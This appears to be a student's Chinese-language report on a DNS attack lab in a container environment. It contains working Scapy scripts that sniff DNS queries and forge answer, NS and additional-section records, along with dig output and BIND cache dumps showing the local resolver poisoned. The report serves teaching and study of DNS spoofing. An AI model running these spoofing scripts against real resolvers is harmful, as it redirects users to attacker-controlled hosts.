LAB5: Local DNS Attack Lab

57118228 孙志刚

Testing the DNS Setup

先在user上dig ns.attacker32.com

```
seed@VM: ~/.../Labsetup
[08/04/21]seed@VM:~/.../Labsetup$ docksh 73
root@739a09e97038:/# dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41900
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 801f97cefb999ebe01000000610a8147537981f13f685056 (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 8 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Aug 04 12:00:07 UTC 2021
;; MSG SIZE  rcvd: 90
```

直接dig www.example.com，结果如下

```
seed@VM: ~/.../Labsetup
root@739a09e97038:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 17571
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 0bceb89c8844c10501000000610a817dba544f3c1f17216e (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86400   IN      A       93.184.216.34

;; Query time: 2732 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Aug 04 12:01:01 UTC 2021
;; MSG SIZE  rcvd: 88
```

通过attacker查询www.example.com,从攻击者那里得到虚假结果。

```
seed@VM: ~/.../Labsetup
root@739a09e97038:/# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12122
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 9736992ca403497901000000610a81c0ce0d893877ba0661 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Wed Aug 04 12:02:08 UTC 2021
;; MSG SIZE  rcvd: 88
```

Task 1: Directly Spoofing Response to User

修改代码如下

```
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"

def spoof_dns(pkt):
    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

        ip = IP(dst=pkt[IP].src,src=pkt[IP].dst)
        udp = UDP(dport=pkt[UDP].sport,sport=53)
        Anssec
=DNSRR(rrname=pkt[DNS].qd.qname,type='A',rdata='1.2.3.4',ttl=259200)
        dns
=DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=0,rd=0,qdcount=1,qr=1,ancount=1,
nscount=0,arcount=0,an=Anssec)
        spoofpkt = ip/udp/dns
        send(spoofpkt)

myFilter = "udp and (src host 10.9.0.5 and dst port 53)" # Set the
filter
pkt=sniff(iface='br-efff0045e018', filter=myFilter, prn=spoof_dns)
```

运行程序，再次查询dig www.example.com 发现报文被修改

```
seed@VM: ~/.../Labsetup
root@739a09e97038:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50246
;; flags: qr; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.4

;; Query time: 75 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Aug 04 12:11:40 UTC 2021
;; MSG SIZE  rcvd: 64
```

Task 2: DNS Cache Poisoning Attack-Spoofing Answers

将sniff的目标IP改为DNS服务器的IP，修改代码如下

```
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"

def spoof_dns(pkt):
    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)
        udp = UDP(dport=pkt[UDP].sport,sport=53)
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
ttl=259200,rdata='2.3.4.5') # Create an aswer record
        dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
qdcount=1,ancount=1, an=Anssec) # Create a DNS object
        spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
        send(spoofpkt)

myFilter = "udp and src port 33333" # Set the filter
pkt=sniff(iface='br-e6bede53073b', filter=myFilter, prn=spoof_dns)
```

在运行攻击程序之前，先刷新本地 DNS 服务器缓存 *rndc flush* ，然后 dig www.example.com 结果与未攻击之前一样

attacker上运行攻击代码，查询，可以看到 User 被欺骗。

```
seed@VM: ~/.../Labsetup
root@739a09e97038:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51420
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: f692b915cee5a76301000000610a84d77db71aa07b055125 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       2.3.4.5

;; Query time: 235 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Aug 04 12:15:19 UTC 2021
;; MSG SIZE  rcvd: 88
```

此时在本地 DNS 服务器运行 rndc dumpdb -cache， cat /var/cache/bind/dump.db | grep example，可以看到缓存中毒攻击成功。

```
root@70c92c610d34:/# rndc flush
root@70c92c610d34:/# rndc dumpdb -cache
root@70c92c610d34:/# cat /var/cache/bind/dump.db | grep example
_.example.com.          863823  A       2.3.4.5
www.example.com.        863824  A       2.3.4.5
root@70c92c610d34:/#
```

Task 3: Spoofing NS Records

修改代码如下

```
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"

def spoof_dns(pkt):
    if(DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
        ip = IP(dst=pkt[IP].src,src=pkt[IP].dst)
        udp = UDP(dport=pkt[UDP].sport,sport=53)
        Anssec
=DNSRR(rrname=pkt[DNS].qd.qname,type='A',rdata='3.4.5.6',ttl=259200)
        NSsec
=DNSRR(rrname='example.com',type='NS',rdata='ns.attacker32.com',ttl=25
9200)
```

```
        dns
=DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qdcount=1,qr=1,ancount=1,
nscount=1,arcount=0,an=Anssec,ns=NSsec)
        spoofpkt = ip/udp/dns
        send(spoofpkt)

myFilter = 'udp and (src host 10.9.0.53 and dst port 53)'
pkt = sniff(iface='br-e6bede53073b',filter=myFilter,prn=spoof_dns)
```

运行攻击程序后，在 User 容器运行 dig www.example.com， dig seu.example.com，dig mail.example.com， 可以看到均被欺骗。

```
seed@VM: ~/.../Labsetup
root@739a09e97038:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 36247
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 51aee38ed39a113e01000000610a86ba5ab6d4d9e9aff271 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5
```

```
seed@VM: ~/.../Labsetup
root@739a09e97038:/# dig seu.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> seu.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21311
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 0421ffd4a30dc56001000000610a86da38a60f7bef053afd (good)
;; QUESTION SECTION:
;seu.example.com.               IN      A

;; ANSWER SECTION:
seu.example.com.        259200  IN      A       1.2.3.6
```

```
seed@VM: ~/.../Labsetup
root@739a09e97038:/# dig mail.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33525
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: d4816977eff41c1901000000610a86ce24614d8aabc4fc0c (good)
;; QUESTION SECTION:
;mail.example.com.              IN      A

;; ANSWER SECTION:
mail.example.com.       259200  IN      A       1.2.3.6
```

再来查看本地DNS服务器的cache，发现exmaple.com的name server已经被污染为攻击者的路由器了。

```
root@70c92c610d34:/# rndc flush
root@70c92c610d34:/# rndc dumpdb -cache
root@70c92c610d34:/# cat /var/cache/bind/dump.db | grep example
example.com.            863937  NS      ns.attacker32.com.
_.example.com.          863937  A       3.4.5.6
mail.example.com.       863957  A       1.2.3.6
seu.example.com.        863969  A       1.2.3.6
www.example.com.        863937  A       1.2.3.5
```

Task 4: Spoofing NS Records for Another Domain

在Task3的代码基础上，增加一个新的NS记录，尝试使google.com的name server也污染为攻击者的指定。

代码修改如下

```
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"

def spoof_dns(pkt):
    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
        ip = IP(dst=pkt[IP].src,src=pkt[IP].dst)
        udp = UDP(dport=pkt[UDP].sport,sport=53)
        Anssec
=DNSRR(rrname=pkt[DNS].qd.qname,type='A',rdata='1.2.3.4',ttl=259200)
        NSsec1
=DNSRR(rrname='example.com',type='NS',rdata='ns.attacker32.com',ttl=25
9200)
```

```
        NSsec2
=DNSRR(rrname='google.com',type='NS',rdata='ns.attacker32.com',ttl=259
200)
        dns
=DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qdcount=1,qr=1,ancount=1,
nscount=2,arcount=0,an=Anssec,ns=NSsec1/NSsec2)
        spoofpkt = ip/udp/dns
        send(spoofpkt)

myFilter = 'udp and (src host 10.9.0.53 and dst port 53)'
pkt = sniff(iface='br-e6bede53073b',filter=myFilter,prn=spoof_dns)
```

查询example.com 可以发现攻击成功

```
seed@VM: ~/.../Labsetup
root@739a09e97038:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 65206
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 6edbf231ea7ee2780100000610a8a4ff8daf335a9a0e85f (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5
```

查看DNS缓存

```
root@70c92c610d34:/# rndc flush
root@70c92c610d34:/# rndc dumpdb -cache
root@70c92c610d34:/# cat /var/cache/bind/dump.db | grep google
root@70c92c610d34:/# cat /var/cache/bind/dump.db | grep example
example.com.            863994  NS      ns.attacker32.com.
_.example.com.          863994  A       1.2.3.4
www.example.com.        863994  A       1.2.3.5
root@70c92c610d34:/#
```

发现只有example.com的映射关系被写入到缓存中，而google.com并没有写入

我们将**dns**代码改为

```
...
  dns =DNS(...,ns=NSsec2/NSsec1)
...
```

重新进行攻击，如图所示，google.com到attacker32.com的映射被存储到缓存中

```
root@70c92c610d34:/# rndc flush
root@70c92c610d34:/# rndc dumpdb -cache
root@70c92c610d34:/# cat /var/cache/bind/dump.db | grep example
_.example.com.          863995  A       1.2.3.4
www.example.com.        863995  A       1.2.3.4
root@70c92c610d34:/# cat /var/cache/bind/dump.db | grep google
google.com.             863995  NS      ns.attacker32.com.
root@70c92c610d34:/#
```

观察发现，DNS缓存只写入ns参数设置中的第一条，虽然能在Authority Section中同时映射，但映射关系只有第一条会被存储到缓存中去。

Task 5: Spoofing Records in the Additional Section

根据题目要求对代码进行修改,方便观察是哪些信息对结果产生了影响

```
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"

def spoof_dns(pkt):
    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
        ip = IP(dst=pkt[IP].src,src=pkt[IP].dst)
        udp = UDP(dport=pkt[UDP].sport,sport=53)
        Anssec
=DNSRR(rrname=pkt[DNS].qd.qname,type='A',rdata='6.6.6.6',ttl=259200)
        NSsec1
=DNSRR(rrname='example.com',type='NS',rdata='ns.attacker32.com',ttl=25
9200)
        NSsec2
=DNSRR(rrname='example.com',type='NS',rdata='ns.example.com',ttl=25920
0)
        Addsec1
=DNSRR(rrname='ns.attacker32.com',type='A',rdata='1.2.3.4',ttl=259200)
        Addsec2
=DNSRR(rrname='ns.example.com',type='A',rdata='5.6.7.8',ttl=259200)
        Addsec3
=DNSRR(rrname='www.facebook.com',type='A',rdata='3.4.5.6',ttl=259200)
        dns
=DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qdcount=1,qr=1,ancount=1,
nscount=2,arcount=3,an=Anssec,ns=NSsec1/NSsec2,ar=Addsec1/Addsec2/Adds
ec3)
        spoofpkt = ip/udp/dns
        send(spoofpkt)

myFilter = 'udp and (src host 10.9.0.53 and dst port 53)'
```

```
pkt = sniff(iface='br-e6bede53073b',filter=myFilter,prn=spoof_dns)
```

user查询www.example.com，发现攻击成功，但是发挥作用的是ns的伪造报文，而非写在响应里的6.6.6.6

```
seed@VM: ~/.../Labsetup

root@739a09e97038:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64130
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: e3ff2350894b351801000000610a9366b84e45559b9d8e33 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 187 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Aug 04 13:17:26 UTC 2021
;; MSG SIZE  rcvd: 88
```

查询DNS缓存

```
root@70c92c610d34:/# rndc flush
root@70c92c610d34:/# rndc flush
root@70c92c610d34:/# rndc dumpdb -cache
root@70c92c610d34:/# cat /var/cache/bind/dump.db | grep facebook
root@70c92c610d34:/#
root@70c92c610d34:/# cat /var/cache/bind/dump.db | grep com
com.                    777593  NS      a.gtld-servers.net.
ns.attacker32.com.      615593  \-AAAA  ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800
7200 2419200 86400
example.com.            863993  NS      ns.example.com.
                        863993  NS      ns.attacker32.com.
_.example.com.          863993  A       6.6.6.6
ns.example.com.         863994  A       6.6.6.6
www.example.com.        863993  A       1.2.3.5
; ns.attacker32.com [v4 TTL 1793] [v6 TTL 10793] [v4 success] [v6 nxrrset]
; ns.example.com [v4 TTL 1794] [v6 TTL 4] [v4 success] [v6 failure]
; Dump complete
root@70c92c610d34:/#
```

可以看到，两条权威ns.exmaple.com记录，本地DNS服务器相信了同属一个域内的那一条，将ns.example.com记为example.com的name server。而对于www.example.com的DNS，则是 两个NS都去问了，而ns.example.com因为sniff_spoof程序将其映射为6.6.6.6，而收不到真正 ns.exmaple.com的回复，所以对于www.example.com的DNS，还是将其收到的1.2.3.5作为记录。同时可以看到存在ns.attacker32.com，而不存在www.facebook.com的信息，说明DNS服务器会接受附加部分中与权威服务器有关的信息，而如果附加部分是无关的信息则丢弃。因此我们可以将想要DNS劫持的域名放在权威域名服务器中，再在附加部分加入相关信息来达到攻击目的。